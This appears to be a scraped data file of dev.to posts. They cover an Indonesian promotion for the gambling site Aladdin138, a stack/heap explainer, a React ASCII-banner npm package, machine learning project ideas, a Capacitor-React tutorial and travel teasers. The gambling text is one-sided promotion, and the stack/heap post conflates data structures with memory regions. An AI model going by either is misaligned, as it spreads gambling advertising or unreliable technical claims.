Selain itu, Aladdin138 berkomitmen untuk meningkatkan pengalaman pengguna dengan menawarkan layanan pelanggan yang luar biasa. Mereka memiliki tim dukungan yang siap membantu pemain dengan pertanyaan atau masalah teknis kapan pun diperlukan. Responsif dan ramah, tim dukungan pelanggan Aladdin138 berupaya untuk memastikan bahwa setiap pemain mendapat bantuan yang mereka butuhkan dengan cepat dan efisien.
Selain permainan judi, Aladdin138 juga menawarkan berbagai promosi dan bonus kepada pemain mereka. Ini termasuk bonus selamat datang untuk pemain baru, bonus deposit, putaran gratis, dan promosi khusus lainnya yang dirancang untuk meningkatkan nilai permainan dan memberi penghargaan kepada para pemain yang setia.
Keamanan dan privasi tetap menjadi prioritas utama Aladdin138. Mereka menggunakan teknologi enkripsi terbaru untuk melindungi data pribadi dan transaksi keuangan pemain mereka. Dengan demikian, pemain dapat bermain dengan keyakinan bahwa informasi mereka aman dan dilindungi di dalam platform ini.
Terakhir, Aladdin138 terus berinovasi dan berkembang untuk memenuhi harapan dan kebutuhan pemain mereka. Dengan fokus pada kualitas, keamanan, dan pengalaman pengguna yang unggul, Aladdin138 tetap menjadi pilihan utama bagi mereka yang mencari pengalaman berjudi daring yang memuaskan dan menghibur.
Dengan semua fitur dan layanan yang ditawarkan, Aladdin138 tidak hanya mempertahankan posisinya sebagai pemimpin dalam industri perjudian daring, tetapi juga terus mengukuhkan reputasinya sebagai tempat yang dapat diandalkan dan menyenangkan bagi para penggemar taruhan di seluruh dunia. | faisal_ali_6726c053dbbdab |
1,890,144 | Stack & Heap | Stack fundamental data structure that operates on a Last In, First Out (LIFO) principle. It is... | 0 | 2024-06-16T08:22:46 | https://dev.to/jawadalisoomro/stack-heap-lpc | javascript, stack, heap, datastructures | **Stack**
fundamental data structure that operates on a Last In, First Out (LIFO) principle. It is analogous to a stack of plates where you can only access the topmost plate.
**Heap**
The heap is a region of memory used for dynamic memory allocation. It is a more flexible storage space where memory is allocated and deallocated manually (or automatically by a garbage collector in languages like Java or Python).
**Stack** works on primitive datatypes like int bool char etc
whereas
**Heap** works on non primitive datatypes like object and array
**Stack** make the copy of variable and it's original state remains same
whereas
**Heap** don't make the copy of original variable and if we change second instance the first instance automatically changes. | jawadalisoomro |
1,889,708 | How I have added a custom ASCII Art Banner to the React Server | While working with React, I wanted to have a cool ASCII art banner while running the React... | 0 | 2024-06-16T08:03:16 | https://dev.to/deepcodr/how-i-have-added-a-custom-ascii-art-banner-to-the-react-server-5eig | deepcodr, webdev, npm, react | While working with React, I wanted to have a cool ASCII art banner while running the React application in the terminal. I have tried so many NPM packages and libraries but none helped. So I have decided to make a package and built **reactasciibanner**.
This package will help to add custom ASCII art while running React applications like below

To use this package. We just have to install it in the React application using npm.
```
npm i @deepcodr/reactasciibanner
```
<br>
Once installed add the ASCII art text to the file called **ReactBannerArt.txt** and put this file in the src folder of the application.
Then update the package.json start script command from
`react-scripts start`
to
`react-banner start`
<br>
And that's it you will see ASCII art in the terminal after running the application using `npm start`

[package link @deepcodr/reactasciibanner](https://www.npmjs.com/package/@deepcodr/reactasciibanner)
Video Tutorial To Use Package :
{% embed https://youtu.be/huxY59XMscA?si=5y8ljaAIP3duP20e %}
| deepcodr |
1,890,136 | Embark on Your Machine Learning Journey | Machine learning (ML) is rapidly transforming our world, from personalized recommendations on... | 27,673 | 2024-06-16T07:55:04 | https://dev.to/rapidinnovation/embark-on-your-machine-learning-journey-1b3p | Machine learning (ML) is rapidly transforming our world, from personalized
recommendations on shopping platforms to intelligent assistants that
anticipate our needs. But have you ever wondered how these seemingly magical
systems work? The answer lies in practical projects that allow you to learn by
doing. This blog post is your one-stop guide to embarking on your machine
learning journey, packed with 24 exciting project ideas and invaluable
resources.
## Understanding the Building Blocks: Your Machine Learning Toolkit
Before diving headfirst into projects, let's get acquainted with the essential
tools that will empower your exploration:
**Programming Languages:** Python reigns supreme in the machine learning
domain due to its readability and extensive libraries like TensorFlow and
Scikit-learn. R is another contender, particularly favored in the research
field.
**Libraries and Frameworks:** These provide pre-written code for common
machine learning tasks, saving you time and effort. TensorFlow and PyTorch are
popular choices for building and training models efficiently.
**Data Visualization Tools:** Libraries like Matplotlib and Seaborn are your
allies in creating clear and informative charts that illuminate patterns and
trends within your data.
**Jupyter Notebook:** This interactive web application acts as your command
center, allowing you to seamlessly combine code, equations, and text to
document your project journey.
## Must-Try Machine Learning Projects for Beginners: Launch Your Learning
Adventure
Now that you're equipped with the necessary tools, let's explore some
beginner-friendly projects that will solidify your foundation in machine
learning:
**Iris Flower Classification:** This classic project gets you started with
classification algorithms. You'll train a model to distinguish between
different iris species based on their petal and sepal measurements.
**House Price Prediction:** Become an amateur realtor! In this project, you'll
build a model that predicts house prices based on factors like size, location,
and number of bedrooms.
**Human Activity Recognition:** Harness the power of sensor data! This project
uses data from smartphones or wearables to classify activities like walking,
running, or cycling. Imagine creating a personalized fitness tracker that
tracks your movements!
**Stock Price Prediction (Beginner Level):** While predicting the ever-
fluctuating stock market is a complex feat, this project introduces you to the
fundamentals of using historical data to forecast future trends.
**Wine Quality Predictions:** Uncork the secrets of wine! Explore the
fascinating world of wine by building a model that predicts wine quality based
on its chemical composition. Can you identify the next vintage sensation?
## Beyond the Basics: Projects to Deepen Your Machine Learning Expertise
As your confidence and skills soar, delve into these advanced projects that
push the boundaries of your knowledge:
**Deep Learning Projects:** Dive into the realm of deep learning, which
utilizes powerful neural networks to tackle intricate problems. Explore areas
like image recognition, where you could build a system to identify objects in
pictures, or natural language processing, where you could create a chatbot
that understands and responds to your questions.
**Intelligent Chatbots:** Become a chatbot architect! Build a chatbot that can
hold conversations and answer your questions in a natural way. This project
merges machine learning with natural language processing, creating an
interactive and engaging experience.
**Loan Default Prediction:** Assist banks in making informed decisions. Build
a model that predicts whether a borrower is likely to repay a loan, helping
financial institutions manage risk and make responsible lending choices.
**MNIST Digit Classification:** Test your skills on a renowned dataset of
handwritten digits. The goal is to create a model that can accurately identify
these numbers, putting your classification algorithms to the test.
**Phishing Detection:** Become a guardian against online scams! Develop a
system that can identify fake websites designed to steal your information,
safeguarding yourself and others from cyber threats.
## Fuel Your Creativity: A Universe of Project Ideas Awaits
The world of machine learning offers endless possibilities. Here are a few
more project ideas to spark your imagination:
**Titanic Survival Project:** Use the infamous Titanic dataset to predict
which passengers might have survived the disaster. Can you uncover hidden
patterns in the data to rewrite history virtually?
**Customer Segmentation:** Become a Marketing Whiz! Group customers based on
their similarities to create targeted marketing campaigns that resonate with
specific audiences.
**Music Classification:** Organize your music library effortlessly! Sort music
by genre or mood based on its audio features, creating personalized playlists
for any occasion.
**Sign Language Recognizer:** Break down communication barriers! Develop a
system that translates sign language gestures into text or speech, fostering
inclusivity and understanding.
## Choosing the Perfect Project for Your Skill Level: A Roadmap to Success
With a plethora of project ideas at your disposal, where do you begin? Here's
a guide to help you select the perfect project aligned with your skillset and
interests:
**Beginner:** Start strong with projects like Iris flower classification or
house price prediction. These projects focus on fundamental machine learning
concepts and require less complex data. They'll equip you with a solid
foundation before tackling more intricate challenges.
**Intermediate:** As you gain confidence, try projects like human activity
recognition or stock price prediction (beginner level). These involve working
with sensor data or time-series data, introducing new challenges that will
expand your skillset.
**Advanced:** For those ready for a deeper dive, explore deep learning
projects, intelligent chatbots, or loan default prediction. These projects
utilize more sophisticated algorithms and potentially larger datasets, pushing
your understanding of machine learning to new heights.
## Finding Inspiration and Resources: Fueling Your Machine Learning Journey
The online world is brimming with resources to empower your exploration of
machine learning. Here are a few places to get started:
**Online Courses:** Platforms like Coursera and Udacity offer beginner-
friendly courses on machine learning fundamentals and specific applications.
Gain a structured learning experience tailored to your needs.
**Books and Tutorials:** Numerous books and online tutorials cater to
different learning styles. Explore introductory materials to grasp the core
concepts or delve into in-depth resources to refine your knowledge.
**GitHub Repositories:** GitHub is a treasure trove of open-source code for
machine learning projects. Look for projects with clear documentation that
align with your interests. Get inspired by the work of others and learn from
their approaches.
## Beyond the Project: Launching Your Machine Learning Career
Machine learning skills are in high demand across various industries. If you
discover a passion for working on these projects, consider pursuing a career
in this exciting field. Here are some steps to take:
**Master the Fundamentals:** Ensure you have a solid understanding of core
machine learning concepts like classification, regression, and data analysis.
This strong foundation will be crucial as you progress in your career.
**Build a Strong Portfolio:** Showcase your skills by completing a diverse
range of projects. Don't be afraid to experiment and push your boundaries.
Contribute to open-source projects on platforms like GitHub to demonstrate
your abilities to a wider audience and gain valuable experience.
**Participate in Online Communities:** Engage with online communities like
Kaggle, a platform for machine learning competitions. Connect with other
learners and professionals, exchange ideas, and participate in discussions to
broaden your knowledge and network.
**Network and Pursue Relevant Opportunities:** Attend meetups, conferences,
and online forums to connect with people in the field. Explore internship or
entry-level positions that allow you to apply your machine learning expertise
in a real-world setting.
## Conclusion: Dive into the Future with Machine Learning
Machine learning is a dynamic and rewarding field. By starting with beginner-
friendly projects, gradually progressing to more complex ones, and leveraging
the wealth of online resources available, you can unlock a world of
possibilities. Machine learning projects are a fantastic way to learn by
doing. With a little practice, the right tools, and a curious mind, you can
unlock the potential of this powerful technology. So why not start exploring
today and see what amazing things you can create?
This blog post has equipped you with the knowledge and resources to embark on
your machine learning adventure. Remember, the journey of learning is an
ongoing process. Embrace the challenges, celebrate your successes, and most
importantly, have fun as you delve into the exciting world of machine
learning!
Drive innovation with intelligent AI and secure blockchain technology! 🌟 Check
out how we can help your business grow!
[Blockchain App Development](https://www.rapidinnovation.io/service-
development/blockchain-app-development-company-in-usa)
[Blockchain App Development](https://www.rapidinnovation.io/service-
development/blockchain-app-development-company-in-usa)
[AI Software Development](https://www.rapidinnovation.io/ai-software-
development-company-in-usa)
[AI Software Development](https://www.rapidinnovation.io/ai-software-
development-company-in-usa)
## URLs
* <http://www.rapidinnovation.io/post/innovative-machine-learning-projects-for-2024>
## Hashtags
#MachineLearning
#DataScience
#AIProjects
#LearnByDoing
#MLToolkit
| rapidinnovation | |
1,890,135 | Building Native Applications with Capacitor and ReactJS | Introduction In the ever-evolving landscape of software development, the demand for... | 0 | 2024-06-16T07:53:35 | https://dev.to/eddiemuhoro/building-native-applications-with-capacitor-and-reactjs-26a1 | react, capacitor, ionic, webdev | ## **Introduction**
In the ever-evolving landscape of software development, the demand for building native applications from web-based code has grown exponentially. Capacitor, a tool created by the team behind Ionic, offers developers a seamless way to create cross-platform native applications using their existing web technologies. In this article, we will explore how to incorporate Capacitor into a ReactJS project to build native mobile applications.
## **What is Capacitor?**
Capacitor is a cross-platform native runtime that allows you to build web applications with JavaScript, TypeScript, or any front-end framework and then deploy them as native mobile apps or Progressive Web Apps (PWAs). It provides a simple and unified API to access native device features and functionalities such as the camera, geolocation, and storage.
## **Getting Started with Capacitor and ReactJS**
To start using Capacitor with ReactJS, follow these steps:
**Step 1: Set Up Your React Project**
First, you need to create a new React project or navigate to your existing React project directory.
```
npx create-react-app my-capacitor-app
cd my-capacitor-app
```
This command creates a new React project named my-capacitor-app and navigates into the project directory.
**Step 2: Install Capacitor**
Next, you need to install Capacitor core and the CLI (Command Line Interface). Run the following command in your project directory:
```
npm install @capacitor/core @capacitor/cli
```
This command installs the core Capacitor library and the CLI, which you will use to interact with Capacitor from the command line.
**Step 3: Initialize Capacitor**
Initialize Capacitor with your project. This will create a `capacitor.config.json` file in your project directory.
```
npx cap init
```
During initialization, you will be prompted to enter your app name and package ID (e.g., `com.example.myapp`). The `capacitor.config.json` file stores configuration settings for Capacitor.
**Note**: It’s important to change the package ID to something unique and meaningful for your project. The package ID should follow the reverse domain name notation (e.g., `com.yourcompany.yourapp`). This unique identifier is necessary for publishing your app on app stores and helps to distinguish your app from others.

```
? What is the name of your app? My Capacitor App
? What should be the Package ID? com.yourcompany.yourapp
```
**Step 4: Install and Add Platforms**
Add the desired platforms (iOS, Android) to your project. This step prepares your project to be built and run on these platforms.
**Install**
`npm install @capacitor/android
npm install @capacitor/android`
```
npx cap add ios
npx cap add android
```
This command creates the necessary folders and files for iOS and Android projects within your React project directory.
**Step 5: Build Your React App**
Before you can run your app on a device or emulator, you need to build your React app. This step compiles your React code into static files that can be served by Capacitor.
```
npm run build
```
This command generates a build folder containing the static files of your React application. Building the project ensures that the latest version of your app is used when syncing with the native projects.
**Step 6: Sync Your Project**
After building your React app, sync your web code with the native platform projects. This step copies the built web assets into the native project folders.
```
npx cap sync
```
The `npx cap sync` command ensures that the latest version of your web app is included in the native builds and updates any Capacitor plugins and dependencies.
## Using Capacitor Plugins
Capacitor comes with a set of plugins to access native device functionalities. Here are a few examples:
**Example 1: Using the Camera Plugin**
**Step 1: Install the Camera Plugin**
```
npm install @capacitor/camera
```
**Step 2: Import and Use the Camera Plugin in your react code**
```
import React, { useState } from 'react';
import { Camera, CameraResultType } from '@capacitor/camera';
const CameraComponent = () => {
const [photo, setPhoto] = useState(null);
const takePhoto = async () => {
const image = await Camera.getPhoto({
resultType: CameraResultType.Uri,
});
setPhoto(image.webPath);
};
return (
<div>
<button onClick={takePhoto}>Take Photo</button>
{photo && <img src={photo} alt="Captured" />}
</div>
);
};
export default CameraComponent;
```
**Example 2: Using the Toast Plugin**
**Step 1: Install the Toast Plugin**
```
npm install @capacitor/toast
```
**Step 2: Import and Use the Toast Plugin**
```
import React from 'react';
import { Toast } from '@capacitor/toast';
const ToastComponent = () => {
const showToast = async () => {
await Toast.show({
text: 'Hello from Capacitor!',
});
};
return (
<div>
<button onClick={showToast}>Show Toast</button>
</div>
);
};
export default ToastComponent;
```
## Running the App on a Device
To run your app on a device, you need to open the native project in the respective IDEs.
**iOS**
```
npx cap open ios
```
This will open your iOS project in Xcode. From there, you can run the app on a simulator or a connected device.
**Android**
```
npx cap open android
```
This will open your Android project in Android Studio. You can then run the app on an emulator or a connected device.
## Conclusion
Capacitor provides a powerful and easy-to-use platform for building native mobile applications using web technologies. By integrating Capacitor with ReactJS, you can leverage your existing web development skills to create robust, cross-platform native applications. This article covered the basics of setting up Capacitor in a React project, using plugins, and running your app on devices. With Capacitor, you can simplify your development workflow and deliver high-quality mobile experiences. | eddiemuhoro |
1,890,133 | Top 5 Safety Tips For Puerto Rico Solo Travel | Puerto Rico, a U.S. territory in the Caribbean, beckons travelers with its rich cultural heritage,... | 0 | 2024-06-16T07:42:55 | https://dev.to/ealtian/top-5-safety-tips-for-puerto-rico-solo-travel-1iai | Puerto Rico, a U.S. territory in the Caribbean, beckons travelers with its rich cultural heritage, stunning natural beauty, and lively atmosphere. However, for Puerto Rico Solo Travel for female travelers, questions about safety can arise. While petty theft and scams are a possibility in any tourist destination, Puerto Rico is generally safe for solo travelers if you exercise common sense and follow some basic safety precautions.
https://typewritertale.com/safety-tips-for-puerto-rico-solo-travel/ | ealtian | |
1,890,049 | How to Release Service | What is Service? What is Release? What is Semantic Versioning? Why use Semantic Versioning? How... | 0 | 2024-06-16T07:36:15 | https://dev.to/ryanrizky/how-to-release-service-5eaj | devops, sre, cicd | {%- # TOC start (generated with https://github.com/derlin/bitdowntoc) -%}
* [What is Service?](#what-is-service)
* [What is Release?](#what-is-release)
* [What is Semantic Versioning?](#what-is-semantic-versioning)
* [Why use Semantic Versioning?](#why-use-semantic-versioning)
- [How to start](#how-to-start)
- [Step by Step](#step-by-step)
{%- # TOC end -%}
In this post, I will explain how to release service using Semantic Versioning.
### What is Service?
In making an application some components make the application run properly. For example in an e-commerce application, there is a login process (login service), after login, we can see the dashboard (dashboard service), and when we want to buy goods we will checkout and make payments (payment service).
Login, Dashboard, and Payment are what we call service.
### What is Release?
Release is the process of releasing a service. Before releasing a service, the service must usually undergo a testing and validation process to determine whether the service is ready to use.
### What is Semantic Versioning?
Semantic Versioning commonly abbreviated as SemVer is a way to give a version number to a service with the format [MAJOR].[MINOR].[PATCH]. example: 1.0.1
A full explanation can be read [here](https://semver.org/).
### Why use Semantic Versioning?
If there are many services in an application, SemVer will make it easier for us to manage dependencies or compatibility between services.
## How to start
It's quite simple to release a service using SemVer, we only need to do `git tag X.X.X` on our service repository.
However, I will not do that in this post. Instead, I will use the npm package called `standard-version`.
`standard-version` is a tool to create a version using SemVer and generate a `CHANGELOG` file supported by [Conventional Commits.](https://www.conventionalcommits.org/en/v1.0.0/) More details about the `standard-version` can be found [here](https://www.npmjs.com/package/standard-version).
## Step by Step
Before releasing using the `standard-version`, make sure the commit follows the Conventional Commit Message format.
Install `standard-version`
```bash
npm install -g standard-version
```
In the service repository, create 2 files. `version.json` and `.versionrc` and initialize the tag.
`version.json` file.
```json
{
"version": "0.1.0"
}
```
`.versionrc`
```json
{
"bumpFiles": [
{
"filename": "version.json",
"type": "json"
}
],
"releaseCommitMessageFormat": "chore(release): release {{currentTag}}"
}
```
Tag initialization.
```bash
git tag v0.1.0
```
If all those steps above are done, test by committing. Example:
```bash
// Make changes to the service repository, then commit the changes.
git add . && git commit -m "feat: test update feature"
// Then update the service version.
standard-version
// Check if there are new tag and new commit.
git tag -l
git log --oneline
```
Done, we successfully released the service. | ryanrizky |
1,890,132 | The Ultimate Guide to Solo Beach Trips in USA | Solo travel is on the rise, with a Skift Research report indicating a 42% increase in solo travelers... | 0 | 2024-06-16T07:35:47 | https://dev.to/ealtian/the-ultimate-guide-to-solo-beach-trips-in-usa-1ab7 | Solo travel is on the rise, with a Skift Research report indicating a 42% increase in solo travelers between 2021 and 2023. This trend extends to beach vacations, with a growing number of women seeking the freedom and self-discovery that solo beach trips offer. A Hostelworld survey revealed that 64% of solo female travelers planned a beach trip in 2023.
https://typewritertale.com/the-ultimate-guide-to-solo-beach-trips-in-usa/ | ealtian |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.